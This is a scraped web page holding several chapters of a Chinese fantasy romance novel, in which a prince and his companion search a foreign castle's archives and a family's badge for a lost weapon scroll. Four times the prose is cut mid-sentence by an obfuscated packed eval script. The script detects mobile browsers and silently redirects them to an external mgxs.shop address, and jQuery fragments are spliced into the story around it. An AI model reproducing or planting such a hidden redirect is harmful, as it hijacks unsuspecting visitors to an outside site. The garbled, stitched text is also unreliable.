;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17623607|203838||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 了。” 洛斐诧异地转头,忽略了话中的暗讽,蹙眉愕然地问:“你知道?” 凯勒布侧头,贴了贴埃迪的肩膀,困倦地回了句,“殿下若要隐瞒身份,还是先将衣袍上那些王室物件收好才是。” 洛斐低头望向腰间那枚明晃晃的艾瑟兰王国徽章,伸手扯了下来,勉强扯着笑,“你好,凯勒布公爵。” 被对方猜到了身份,难免有所拘束,洛斐强作从容地补了一句,“开个小玩笑,没想到你如此敏锐,这么快就猜到了。” 埃迪见气氛古怪,看向趴在他肩膀的凯勒布,适时地提议,“我来带路,去小露台好吗?” “听你的,哥。” 夏塞林的露台也和别处不同。 夜风吹来的阵阵虫鸣,藤蔓半掩的石栏,光滑且带着凉意的双人木椅,带着皂角香的软毛毯,尽管没有侍从来打扫,也依旧洁净如初。 难怪埃迪常常来汐莱纳希。 洛斐早已做好了妥当应对凯勒布质问的准备。 对方好歹是公爵,总不能拿一句玩笑便轻易搪塞过去。 “洛斐殿下,我和埃迪·戈兰蒂斯不是玩闹。” 这句突如其来,毫无铺垫的话,将洛斐先前的预设尽数打消。 凯勒布给坐在木椅上的埃迪按着肩膀,继续说:“米尔猜得很对,但是有一点,我父亲生前和哥的父亲是旧识,我们很早就相识,所以依赖是从始至终。” 埃迪拍了拍凯勒布的手,看向洛斐,开口解释,“殿下,我从来不提起,是因为汐莱纳希王国对伴侣性别向来在意,这样也能减少麻烦。” 凯勒布没提偷听的事,洛斐已经知足了。听完两人轮番和他解释,他不好继续沉默,绞尽脑汁想了句祝福的话。 “祝你们白头偕老。” 问题解决,心头也松快了。 洛斐伸了个懒腰,转身和米尔说:“既然没事了,我们先回去睡了,米尔,走。” “洛斐殿下可以先离开,但米尔得留下。”凯勒布松开埃迪的肩膀,对正要拽着米尔的洛斐说。 “你找米尔什么事?”洛斐停下脚步,随口问道。 “老友叙旧。” 空气忽然凝滞了一瞬。 洛斐转身看向米尔,凑到他耳边,低声问:“你认识凯勒布?” “我们不太相熟。”这话是凯勒布笑着对埃迪说的,转而淡淡地朝洛斐解释:“但我认识艾琳娜夫人,也就是米尔的母亲。确切地说,也是我的师父。” 难怪一待就是半月,原来是真正的师兄弟。 哪怕知道艾琳娜夫人的名气大,但洛斐仍不免震惊。 真是声名远播,无人不知。 洛斐依旧站在米尔身前,皱了皱眉说:“叙旧可以改日。” 凯勒布开门见山,“米尔,来汐莱纳希做什么?” 这问题,洛斐早就问了几百遍了。 要是能如此简单地回答,还轮得到你来问。 洛斐垂眸轻笑,看了凯勒布一眼,先米尔开了口,“不用问了,米尔不会告诉你的。” “……是来找母亲的遗物。” 25. 错发章节(勿点)明晚更 洛斐猛地扭头,不可置信地看向米尔。 平时支支吾吾,绝不透露半分,眼下却一反常态地摆出全盘托出的架势。 怎么看,怎么反常。 他后退到米尔身旁,背对着凯勒布和埃迪,扯着他的袖子,垂首道:“你真要说吗?” “如果你不适,就算是旧友,也不必如此勉强。” “不勉强。”米尔语气淡淡,“殿下不想知道吗?” 一边等待米尔解释来意的凯勒布见两人肩抵着肩,旁若无人地说起悄悄话,正要开口:“你们……” “凯勒布。”埃迪忽然指向一旁枯萎玫瑰,“这丛花怎么枯了?” 凯勒布果然被勾走了注意力,顺着埃迪的要求去抢救枯败的玫瑰。 待那丛玫瑰彻底枯死时,米尔才缓缓开口,“我从艾瑟兰王国的旧档里看到了线索——母亲的遗物大概就在汐莱纳希。” “残刃卷。” 凯勒布想了想,果断地摇了摇头,“艾琳娜夫人去艾瑟兰王国时年纪尚幼,连像样的武器图纸都未成型,更何况是残刃卷,怎么会在那里留下线索?” 站在米尔身后默默地听着的洛斐兴致顿起。先前凯勒布讲的往事,他全部听得模棱两可,但提到艾瑟兰王国,对方却是比不上他了解。 “你的师父,难道不能有师父吗?” 洛斐轻飘飘地反问,而后漫不经心道:“我与米尔先去了买下那张残刃卷的赛维恩家族,顺着这条线索去翻阅艾瑟兰旧档。” “之后便查阅了艾瑟兰近年的武器赛事记录,才知道这卷图纸是艾琳娜夫人的师父当年赴艾瑟兰参赛时,被人劫走的。” 米尔点点头,补充道:“旧档对残刃卷的记录少而又少,只能依稀猜测在汐莱纳希。” “确实在汐莱纳希。”凯勒布微微颔首,顶着洛斐和米尔期待的目光,淡淡地开口:“只是你们还是趁早先回去。” 一旁专心赏花,无心旁听的埃迪不满地拍了拍他肩膀,语带责备,“不要对洛斐殿下和米尔大人无礼。” 凯勒布顺势转身,弯着腰,脑袋贴着埃迪的胳膊,语带委屈地说:“哥,我没有对他们无礼,我只是在劝告他们。” “艾琳娜夫人去世后,我也一直在寻找她的遗物,尤其是她向来看重的武器图纸。”凯勒布搂着埃迪的腰,语气闷闷的,“战争惨烈,能找到的图纸极少,就算找到了,保持完整的也不及一半。” “残刃卷能保持完整的可能,微乎极微。即便是找到了,大概也无法识别。” “如果你是想念艾琳娜夫人,执意寻找艾琳娜夫人的遗物,我目前得到的,都可以赠予你。” 凯勒布说得没错但不全对。 洛斐光是看着米尔皱起的眉头,就能看出七八分。 米尔不讲话,洛斐先他一步看向凯勒布。 “你知道……残刃卷在哪里?”洛斐努力适应着刚得知的信息,朝凯勒布问道。 “我这些年寻来的遗物,多数是碾转购来的。” “哪里能买到?”洛斐干脆地问道。 “残刃卷买不到。”一直静默的米尔开了口,不似方才的谨慎克制,眼下语气带着倦意,偏头看向身旁的洛斐,“殿下不困了?” 异国他乡的深夜里,突然得知如此要紧的事,还能无动于衷,神色淡然地要求回房睡觉,恐怕也只有眼前的米尔了。 尽管洛斐对这件事来的了解程度,不比先前未旁听的埃迪多多少。 来龙去脉,一概不知。 前因后果,也猜不到。 但跟着米尔回房的一路,却是绞尽脑汁地想尽了办法,恨不得将能用的办法都想一遍。 “我们明早去街道逐一询问路人,如何?” “或者我写信回去,让父王和母后派人支援?” “……” 第十次听到写信调人支援时,米尔步伐顿住,转身看向洛斐,无可奈何地道:“殿下,我们为什么单枪匹马地来,你忘了?” “……我们是来历不明者。” 先前只记得想办法,差点忘记他们背腹受敌的境况。 洛斐像是泄了气,“既然你提前告诉了我,我也想为你分忧。” “你陪在我身边便是分忧了。” “你就是在哄我。”洛斐心里喜悦却别开脸。 “没哄你。”米尔伸着腰,捏了捏肩膀,“殿下真的不必担忧,我不焦急的事,便代表我有分寸。” “既然如此,我来的目的是什么?”洛斐边走边问。 米尔懒洋洋地回他,“你只需好好逛逛汐莱纳希便好。” 深更半夜,哪怕是夏塞林的夜晚,也不见得常亮。 米尔抬眸,忽然意识到自从和洛斐亲近后,便很少失眠。 毕竟,每晚都要招待眼前的奇特王子,任谁都是累到筋疲力尽,昏昏欲睡。 “殿下,回去……” 每日照例将人赶回卧房的举动还未结束,米尔便听见身后传来洛斐清朗的话语,“能不能告诉我……那份残刃卷对你来说意味着什么?” “如果是缅怀艾琳娜夫人,凯勒布那家伙收集的遗物全部给你,尽管无法消除心中的怀念,但也足够聊以慰藉了。”洛斐顿了顿,继续道:“但你却执意要寻找残刃卷,绝对不会是那么简单,除了缅怀,怕是还有其他缘故?” “对你会有危险吗?” “……你告诉我,我陪你。” 洛斐话语顿了几次,才勉强说完,极力避免提及米尔的往事。 说完,洛斐微微抬头。 一抬眼便对上了米尔投来的目光,对方的眼眸在夏塞林夜光下映出别样光泽,漂亮得直白。 “它对我来说,很重要。”米尔斟酌着措辞,想着该如何讲清楚,“也并无危险,只是……” “那就足够了。”洛斐唇角微微扬起,轻快地耸了耸肩,答道:“对你很重要,并且没有危险就足够了。” 米尔不由失笑,“殿下不听了?” “困了。”洛斐推开房门,径直走了进去,转身说:“况且,你我之间留点秘密,不是更长久么?” “长不长久,暂且不论。”米尔望着早就躺上床一侧的洛斐,叹了口气,“既然困了,你为什么不回卧房歇息?” 在艾瑟兰时,侍从们无时无刻不在左右,洛斐必须注意分寸,来也只是深夜拜访,待一会便离开。 现在没了拘束,米尔不仅没了卧房,还被霸占了床铺。 “太远了。”洛斐扯着毛毯,“明日还要起来找残刃卷,先在你这里歇一会。” “我睡相不好。”米尔脱下衣袍,朝着躺着的洛斐说道。 “睡相不好?”洛斐将信将疑地转身看他。 平日里端正得像是骑士训练,恨不得走路带风,睡相又能差哪里去。 米尔躺在另一边,不咸不淡地提醒道:“和我同榻而眠的人,无一不觉得我睡相不好。” 洛斐自动忽略了睡相的问题,猛地起身,凑到米尔身边,探着头问:“你和谁同榻而眠?” “你先前是露希恩王子,总不能和人同榻而眠。” “在艾瑟兰王国,谁逼你和别人同榻而眠?” 米尔依旧侧躺着伸手拍了下耳边的脑袋,轻声道:“艾瑟兰王国待我如何,殿下很清楚,卧房不比你的小,我不过是随口一提,不必当真。” “真的?” “千真万确。” 米尔眼睛都没睁开,懒懒地说。 洛斐见他神情的确倦怠,便老老实实地躺了回去,扯来一旁的毯子,准备歇息一会便起床去找残刃卷的线索。 顺便找时间问问卡斯弗医师,关于米尔的往事。 这种只知道他的如今,却对他的从前一无所知的感觉,洛斐从没体验过,只觉得很不适。 那种由内而外的不适,尤其是当他们一个接一个地遇到米尔的旧友。 洛斐烦闷地翻了个身。 旧友比比皆是,像是艾瑟兰的绵绵雨季,没完没了。 比明日晨钟先来的是腹部阵痛,洛斐抬手捂着额头,微微一动,腰间便牵扯出一阵钝疼。 “嘶,好疼。”洛斐不耐地起身,下意识扯开毛毯。 直直地踢着他腰的米尔,就那么明晃晃地暴露在眼前。 姿势不雅观,力气也不小。 “米尔!”洛斐晃了晃米尔的肩膀,缩成一团抵着他的人,这才堪堪醒来,迷迷糊糊地问候了一句,“殿下,早安。” 洛斐顿时没了脾气,毯子往米尔身上随手一扔便跑去看伤势。 刚走便听见身后毯子里发出的闷哼音,洛斐顿了顿,往后看了一眼,转身走回去将毯子撩开一角,丢下一句,“继续睡。” 睡相不好不是客套话,但堪比利刃的杀伤力也太恐怖了。 洛斐垂首看向腰间的一小块淤青,无法置信。 他战斗力不算顶强,但在艾瑟兰也算得上数一数二。 不用交手便落得满身伤痕,算是第一回。 洛斐心里暗叹,这哪里是睡相不好,分明是战力无边,他与人交战也不及如此。 洛斐这么想着,将埃迪找来的药膏敷在腰间,余光看见米尔彻底醒来,猛地扯下衣袍,语气如常地说:“你醒了?” 米尔表情复杂,看了眼洛斐的腰,又想起方才埃迪来送药的场景,一时语塞,愧疚道:“抱歉,我昨晚……是不是踢你了?” “没踢我。”洛斐见米尔醒了,顺手将房间摆设归置整齐,随口道:“夏塞林的夏日比艾瑟兰王国要清凉,昨晚只是扯了扯被子罢了。” “再者说,是我执意要留在你卧房。便是真被你踢死了,你也不必愧疚。”洛斐看着城堡外姣好的日光,语气平淡地说:“你现在的要紧事,是该想清楚我们接下来该去哪里找那份残刃卷。” 身后的米尔依然一言不发。洛斐也不催他,只是静静地等着对方开口。 “殿下是第一次来夏塞林?” 洛斐愣了愣,说:“汐莱纳希常来,但夏塞林倒是第一次。” “想不想在夏塞林逛逛?” “不去。”洛斐想也没想地脱口而出,“来此地的主要目的没有丁点进展,残刃卷也毫无线索。何况我们随时可能被召回艾瑟兰,这种境况怎么能去闲逛。” “至少得先找到残刃卷,才有心思去想逛夏塞林的事。” “殿下说得很对。”米尔赞许地点头。 洛斐拿起一旁的折刀别回腰间,抬眸问:“先去寻找当年的知情人?或者是去查阅凯勒布收集的旧档,说不定会有线索。” “今日的任务。” 米尔看着洛斐的眼睛,一本正经地开口,“先去玩。” 洛斐不解地蹙了蹙眉,反问:“你是想先去集市里打听消息?” “姑且算是。” 米尔向来玩性不大,在艾瑟兰时便是如此。 他能窝在房内绝不会出去,整日逗逗小黑,喂喂小白。就算是出去了也只不过是卧房和议事厅其中一处。 米尔难得主动要去集市,洛斐不再纠结 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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油润的质地入口即碎,馥郁的焦香混杂着温热。 洛斐看着米尔期待的目光,倨傲地说:“勉强入口。” “殿下喜欢便好。”米尔顺手拿起碟子,招呼也没和摊主打便递给了洛斐。 “你放回去,我们买来就是了。”洛斐虽不明白米尔为何突然失礼,但依然制止他,拿过碟子放了回去。 得了空的摊主闻声回头,看清他们的模样,笑着说:“不用,并不值钱,都是些散落的鱼饵,本来就是要扔开的。” “你们要是……喜欢的话,拿走便好。” 洛斐低头拿钱的动作微微一顿,惊愕地抬头,看了看一旁的碟子,又望了望售卖鱼苗的摊主,愣愣地反问:“这些是鱼饵?” “不全是。”摊主见眼前人的表情不太好看,也不清楚哪里说错了,斟酌着回道:“平时也能当鱼苗的养料,当然……也能当做餐食。” 听完摊主的一番话,洛斐将碟子推了回去,咬牙切齿地转身要找米尔质问,欺负他用餐单一算什么本领。 “米尔!” 洛斐转身看一片嘈杂,却唯独没有米尔的身影。 明明刚刚还在身旁嘲弄他,转眼便没了踪迹。 洛斐只当他是想了新办法捉弄自己,起初并没当真,继续慢悠悠地逛集市,顺便找米尔也不认识的食物想要报复回来。 结果,逛完了一个摊位,米尔依旧没回来,洛斐这才认真起来。 奇怪。 米尔明知道他的方向感不好,应当不会消失那么久,至少不会走得太远。 眼下迟迟不归,必定是有要紧事。 洛斐一改方才的悠闲姿态,穿过熙攘的人群,快步朝街道另一边走。 平时从容冷静,到了紧急关头便一意孤行。 真该给米尔做个铃铛,走到哪里便响到哪里。 不满归不满,洛斐依旧急急忙忙地绕着集市走了一遍。 夏塞林的子民也是活跃,一人一箩筐地扛着货物,磕到奔跑的洛斐身上,可是比挨一记面包要疼得多。 等到全身疼得厉害时,洛斐才强撑着身旁马车,喘着气,抬头看到米尔衣袍的边角在眼前飘荡。 “米尔……”洛斐话未出口,便发觉眼前的境况似乎也不正常。 米尔身边全是探着脑袋看热闹的人,人潮涌动,连一条缝隙也没有。 洛斐皱了皱眉。 这是起了矛盾? 洛斐也不慌着歇息,连忙拨开挤得水泄不通的人群,快步走到米尔身边,拍了拍他的肩膀。 “米尔,你……” 米尔有仇必报却不主动惹事。 在人群外边时,洛斐便想着米尔在异国与他人起冲突着实古怪,待眼下看清楚了米尔的脸,算是什么都明白了。 不是矛盾,完全是单方面的殴打。 米尔先前精心养护好的伤口上,又覆了一层新的伤痕,依旧鲜红刺目,看得洛斐怒气直冲,转头看向对面的人。 那人长得倒也不算凶狠,是个壮实憨厚的模样,手里提着东西,愣在原地,不知所措,像是没明白发生了什么。 洛斐没说话,只是握着米尔手腕将人拉到身后,正要开口与对方理论,却被米尔反手握住了。 身后紧接着传来米尔压低的声音。 “殿下,不要动手,是我唐突了他。” 26. 线索 洛斐回头看了米尔一眼,往后伸手,将人拉到身旁,微微偏头问:“你唐突了他?到底怎么回事?” 围着的人群见事情无果,洛斐来得气势汹汹且衣着不凡,便张望着该干什么干什么去了。 米尔余光看见人少了些,便简短地和洛斐解释,“我无意间看到他身上佩戴的徽章,很熟悉,是我母亲常常拿着把玩的,一着急便跟了上来。” “集市的人太多了,我怕跟不上他,脑子一乱,便伸手拽住了他的衣摆,不仅唐突了他,还招来了人群围观。”米尔懊恼地垂首,摸了摸后颈,说:“殿下先回去,我来解决就好。” “你说什么呢?” 洛斐握住剑柄的手顺势放下,语气强硬,“现在先和对方道歉,再仔细询问……” 洛斐抬头,动作顿住,“人跑去哪了?” 方才还怔愣着望着他们的人,早就随着人群跑得没了踪迹。 洛斐看向前方宛如潮水翻涌的人群,皱了皱眉,这种地方要是去找人无疑是大海捞针。 更何况对方显然比他们要了解夏塞林。 洛斐看向米尔,递给他干净手帕,依旧问:“要追吗?” 米尔伸手接过,轻轻裹住脸颊一侧的伤口,下颌微微扬了扬,指向街道旁的茶摊,“不追了,坐下歇一歇。” 摊子是由几个破旧木桌和白色布棚构成的,夏日里不算清凉但也能歇脚。 洛斐本就为了找米尔,绕着集市跑了一大圈,又紧接着生了一次气,眼下坐在木凳上歇了好一阵。 “你唐突了他?他就伤了你脸?” 擦拭伤口的米尔怔了怔,解释:“这是不小心撞到街边招牌时划到的,和他没关系。” “他也真是奇怪,被人莫名纠缠,又被人恶狠狠地瞪着,还没等到道歉,自己却先跑了。”洛斐单手托腮,晃了晃手中的凉茶,不解地说道。 “说不定,是不愿见我们。”米尔往伤口上贴好布条,抿了口茶,淡淡地说。 “你现在倒是冷静。刚才就该放任我拦住他,反正都要赔礼道歉,倒不如让他跑不开。”洛斐说得懊恼,在艾瑟兰的那套规矩体面尽数扔回脑后。 “我们也许能追到他,但我们不能让他讲话,更无法让他正好说出我们想要得到的话。” “与其白费力气做无用功,不如慢慢来。”米尔拿起茶摊里带着缺口的茶壶,给身旁的洛斐续茶,“不过,确实辛苦殿下寻找我这么久。” “也不久。”洛斐看了眼茶壶,伸手推了推,婉拒了。他语气认真,“情绪激动时做出任何举动都算不得数,但却不能一声不吭便离开。” 米尔鲜少犯错,洛斐也因此极少和他用教育的口吻,唯一的这一次,对方也答应得利落,“知道了,下次不会了。” 洛斐满意地颔首,随口问:“我们该怎么找到他?” “谁?”米尔偏头问。 “……刚才离开的那个人。”洛斐放下茶杯,忧愁地看向漫无边际的长街道,他们初来夏塞林,想要寻找一名陌生人哪那么容易。 “我们可以回城堡问问……”洛斐正要跟米尔提议,微微垂头的片刻,再一抬眸便看到了枚银色金属徽章,晃晃悠悠地摇摆在他眼前。 洛斐往后躲了一瞬,而后盯着那枚徽章看了一会,不解地问米尔:“这是什么徽章?哪里来的?” “捡来的。” “不会是那位……先生的徽章?” “是。”米尔摸了摸徽章的纹路,一点没藏着,直白地说。 “你怎么能拿……”洛斐撑着米尔肩膀,压低声音道:“别人的私人物品,太无礼了。” “殿下的礼仪道德真是变幻莫测。”米尔反握住肩膀上的手,说:“他走得飞快,不小心便掉下来了,我顺手捡到的。” 洛斐自然知道米尔没有随手一拿的爱好,方才也只是想凑近看看他伤口。 这次的伤口没有赛马会时严重,红痕也消失得极快,现在便只剩下淡淡的痕迹。 洛斐舒心地退回座位,再次观摩起米尔手中的徽章,普通的圆形徽章,四周雕刻着细密的藤蔓纹路,最中间则是一柄剑的图案。 本就不好辨认的徽章,还被磨损得有些模糊。 “这徽章太普通了,十个家族中九个都是这种样式。”洛斐语气平淡地说:“我们对夏塞林并不熟悉,只是盯着它认不出来。” “你认识吗?”洛斐问深思模样的米尔。 “不认识。”米尔补充道:“母亲年轻时跟她师父一起钻研武器,自我出生后便没见过那位师父了,甚至母亲也不能提起。所以,我并不清楚。” 洛斐想了一会,提议道:“要不问问埃迪?” “好。” 凯勒布待在夏塞林,埃迪便常来,来得久了,就也算是半个夏塞林人,问问他总是比他们两位瞎猜要好。 至于凯勒布,哪怕对方算是米尔情理上的弟弟,他们暂时也不会主动询问。 洛斐总觉得这人不太靠谱。 “什么?他们去玩了?” 洛斐环顾空寂的议事厅,难得一见的老管家不紧不慢地现身,朝他们欠身解释,“是的,公爵听闻两位大人去游玩了,便与埃迪大人一同前往汐莱纳希了。” “我们是去办正事。”洛斐微微蹙眉,开口解释。 “辛苦你了,请先去忙吧。”米尔倒是一副意料之中的模样,淡淡地吩咐管家去忙,自己则是坐在椅子上,继续垂首查看徽章。 洛斐从米尔肩侧探过头,朝那枚徽章看去,“现在算是彻底没了帮手。要不要我出些钱,找个风口紧的人打听打听。” “不用,家族徽章并非隐秘物品,城堡内的旧档应当有所记载。”米尔拿着徽章放回洛斐衣袋。 洛斐赶紧跟上米尔的步伐,随口问:“你是说在城堡主人全都不在的情况下,我们独自去档案室。” 米尔果然顿了顿,朝正在下面指挥侍从们清扫卫生的管家交代道:“管家先生,我们去档案室翻阅资料,麻烦您开一下门。” 管家抬头,朝他们笑了笑将钥匙取下来递给一旁的侍从,使示意对方去开门。 “谢谢。” 米尔微微颔首,转身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17640730|203838||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 看向身旁的洛斐,“现在殿下放心了?” “……也就还好。” 洛斐跟着拿钥匙的侍从,推开门后边让他下楼去忙,见身边的米尔抬起头,认真揣摩木柜上的旧档,问:“凯勒布和艾琳娜夫人关系很好吗?” 夏塞林的天气向来明朗,哪怕城堡的档案室位置隐秘且不向日光,也不妨碍屋内舒适且洁净。 米尔抬手,抽出一本厚重的册子,随口说:“没有人会和我母亲关系不好。” 洛斐怔愣一瞬。 米尔的身世特殊,莱因哈特和薇洛希在米尔初来艾瑟兰时,便和他简单解释了。 就算没有他们的交代,洛斐也不会主动提起他的伤心往事。 米尔更不会主动诉说。 眼下米尔像是有了松动,继续道:“她精通武器锻造,性情极好,热爱与人交流,无论对方是谁,总是饱热情相待,没有人会讨厌她。” 洛斐随手翻了翻,见米尔鲜少开口说这些,便认真地说了一句,“你和艾琳娜夫人很像。” “像?”米尔不解地反问。 “很像。”洛斐抬眸思索了片刻,说:“尽管你不常提起,但你对武器也有了解,性情也极好,热情待人也是同样,就是很像。” 洛斐说得真切,诚恳到连埋头翻阅旧档的米尔都忍不住轻笑着说:“殿下是和我待久了,迷糊了。” “你看。”洛斐耸耸肩,语气无奈带着调侃,“说了又不信。” “我信你。”米尔边翻边头也没抬地轻声说,“但是殿下对我的认识也太偏颇。” 洛斐顿了顿,放下落灰的旧档,问他:“你和我多说些你的事情,我就认识得周全了,不是吗?” 米尔垂着头,不搭话,转而拿起柜顶的黑色小册,朝洛斐说:“夏塞林很特别,尽管不流行聘用侍从打扫,却一点灰尘也没有。” 遇到不爱回答的便想办法逃避。 洛斐看出了米尔避而不谈,点到即止也不追问了,继续垂首,翻阅眼前堆成山的旧档记录,随口说了句,“夏塞林的气息清新,很难得。” 不说便不说了,其他的事情姑且放一放,眼下先找到徽章所属家族最为重要,否则唯一的线索也断了。 洛斐看着像是罗马角斗场般的巨大档案室,环视一周,密密麻麻的木柜子竟然没有丁点标签。 他懒洋洋地倚着桌子,“凯勒布应该加上标识,说不定会为我们减轻很多负担,漫无目的地找下去,很……” “找到了,殿下。” 米尔淡淡地开口,打断了洛斐未说完的话。 洛斐诧异地直起腰,边往米尔那边走,边问:“你还真能找到,是哪个家族的徽章?” 米尔起身,将展黑色册子展开给洛斐看。 “这是什么?它怎么了?”洛斐借着米尔的动作,绕着他拿起的东西看了一周。 黑乎乎的方形物体,放进后厨也能被误以为是烧炭的程度。 洛斐费力地瞪大了秋水色眼眸,依旧不看清字迹,索性抬头问米尔:“这是……” “记录册。” 27. 家人 “记录册?”洛斐拿着册子的边角,嫌弃地说:“凯勒布和埃迪皆是注重干净的性子,怎么会放任记录册成这样?” 说完,洛斐轻轻地翻页,生怕给它彻底撕碎了,“一半烧成黑炭,一半却完好无损,凯勒布故意烧的?” “看起来是的。”米尔弯腰翻找工具,随口道。 “汐莱纳希不是十分重视贵族间的礼仪吗?”洛斐见黑册子边角卷起,页面发黄,不敢乱动,轻柔地放回桌面,问米尔:“凯勒布主动烧了记录册和直白地拒绝一切社交有什么差别?” “完全没有差别。”米尔边说边伸手拿出摆放的细镊子和放大镜,回头正好撞上洛斐的视线,轻声说:“若是殿下,应当也会如此。” 洛斐起身,拿起册子,朝着米尔展开,方便对方查看,倨傲地反驳道:“我不会如此草率,必定会深思熟虑。” 米尔垂首,认真清扫那本册子,“凯勒布公爵的情况复杂。父母与哥哥皆在战争中丧生,后来汐莱纳希国王却为了求和而将一切轻描淡写地带过。” “之后,贵族们便联合抵制梅洛特家族唯一的血脉,凯勒布公爵也因此搬到了夏塞林。” 洛斐垂眸看向米尔,伸手拂去他发间的灰尘,“与书上所说倒是不尽相同,明明是王室的不作为,却偏要写成凯勒布公爵极力求和。” “殿下也不必为怜惜凯勒布公爵。”米尔拍了拍册子表面的黑碎屑,语气淡淡的,“如果真要说有什么在意的,那便是他对埃迪,确实是真心的。” 洛斐垂下手臂,松了松劲,嘴角因为米尔的话扯了扯,问:“他们如何相处,我们都一概不知,你就能断定他们关系好?” “显而易见。”米尔指了指手中的纸张,无视身旁洛斐的不解和别扭,随口道:“殿下以后便明白了。” “你也……” “殿下,找到了。” 洛斐垂首看去,看了看米尔手中那张虽被抢救过来,但依旧破损的纸张。 索恩家族? 洛斐微微蹙眉,偏头问米尔:“这个家族,不是早就销声匿迹了吗?” “你认识它?” “算不上认识。” 洛斐正了正衣领,话快到嘴边又顿了顿,才开口:“就是听先前的导师授课时,提起来它的例子,以为它早就消失了。” “什么例子?” “名噪一时,商业世家,盛极必衰?”洛斐不确定地说。 他对这个家族的印象不深,想必是当时睡着了,便转移了话题,“既然我们知道了徽章的来处,就不要浪费时间了,亲自去问问便全清楚了。” 洛斐说完,看了眼城堡外的空地,“也不知道凯勒布和埃迪在汐莱纳希玩多久。” 米尔比对完徽章与记录册,伸了伸腰,转身道:“殿下是想让凯勒布帮忙去拜访?” “对,我们和他一同去拜访,不突兀也得体。”洛斐见米尔欲言又止,歪了歪头,不解地问:“凯勒布不至于连商业家族也无法结交,或者说是……其他我不清楚的隐情?” 米尔看着洛斐的眼睛,一字一句地说:“在汐莱纳希,未经同意便擅自登门拜访,是相当无礼的举动。” “?” 洛斐看向米尔,将信将疑地问:“真的?” 对于艾瑟兰王国而言,提前拜访是极其重视的表现,无论如何也不会和失礼相提并论。 洛斐无法理解,米尔指了指一旁的城堡礼仪记录,语气真挚,“这是汐莱纳希的孩童也很清楚的礼仪。” 洛斐随手翻阅,结果真看到了离奇的礼仪规矩,有气无力地道:“不能让凯勒布主动拜访,也不清楚对方身份,不能提前通知,免得打草惊蛇。” “我们总不能悄悄跑进他们的庄园。”洛斐抓了把额发,随口道。 话音刚落,洛斐转身望向米尔,对方严肃且庄重的目光不像是开玩笑。 洛斐立马站直了,试探地问:“难不成你真想偷偷溜进人家的庄园。” “当然不是。”米尔直白地反驳,弯腰将工具和凌乱的册子全部摆好,朝身后说:“我们想想其他办法。” 洛斐长长地松口气,提议道:“不要找一些奇怪的办法。哪怕在汐莱纳希无人认识,但一旦……” 米尔抬头看向洛斐,“一旦什么?” “一旦被人发现,我们就会沦为笑柄,艾瑟兰王室的笑柄。” 米尔没忍住轻笑出声,认真地回答:“殿下放心,不奇怪。” 洛斐倚着桌子,半信半疑地垂眸看向米尔。 最好是真的不古怪。 凯勒布和埃迪不知道是跑去了汐莱纳希的哪个边角,一连几日都没有要回来的迹象。 凯勒布也是心大,城堡一扔便去逍遥快活。 偌大的城堡里,只剩下米尔和洛斐,以及偶尔来打扫的侍从。 米尔要去打探情况以便后续行动,最常待在城堡的就成了洛斐。 时光飞逝,米尔早出晚归地探查,每当洛斐问起米尔计划进展时,对方总是笑着说, 好了,快了,很顺利。 洛斐便也姑且信了。 毕竟,事关艾琳娜夫人,米尔绝对不会敷衍了事,应当会拼尽全力。 只要办法不太奇怪,洛斐也不会阻拦。 但洛斐也忍不了那些闻所未闻的怪招。 “米尔,你认真的?”洛斐坐在米尔面前的椅子上,借着月光看向床上的米尔,又重复了一遍,“你真的打算去那个庄园当侍从?” 筹谋了几日,便只想出这般古怪的招数? “当然是真的。”米尔继续翻阅凯勒布从藏书阁中找来的书本,头也没抬地说道。 得到肯定答复,洛斐起身,径直坐到米尔身前,不可置信地问:“夏塞林本来就不爱招侍从。更何况,就算是没落的商业世家,也不是我们随便就能进去的。” “风俗习惯造就,商业世家的侍从人数会多些。”米尔微微抬眸,继续道:“殿下放心。我先前打听到索恩家族招揽侍从,便去试了试,恰好成功了。我们现在是正大光明地进去。” “你?”洛斐狐疑地盯着米尔。 这个屋子收拾不明白,小白和小黑喂了上顿没下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17644714|203838||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 顿的人,竟然能通过对方的招用。 “当然,商业世家看重方向不同,不过是会说话罢了,并不难。”常年游历,米尔就算是再寡言少语也练就了一身周旋的本领,“至于殿下,只要好好扮演我的表弟便好。” “表弟?”洛斐顺势躺在米尔身旁,问。 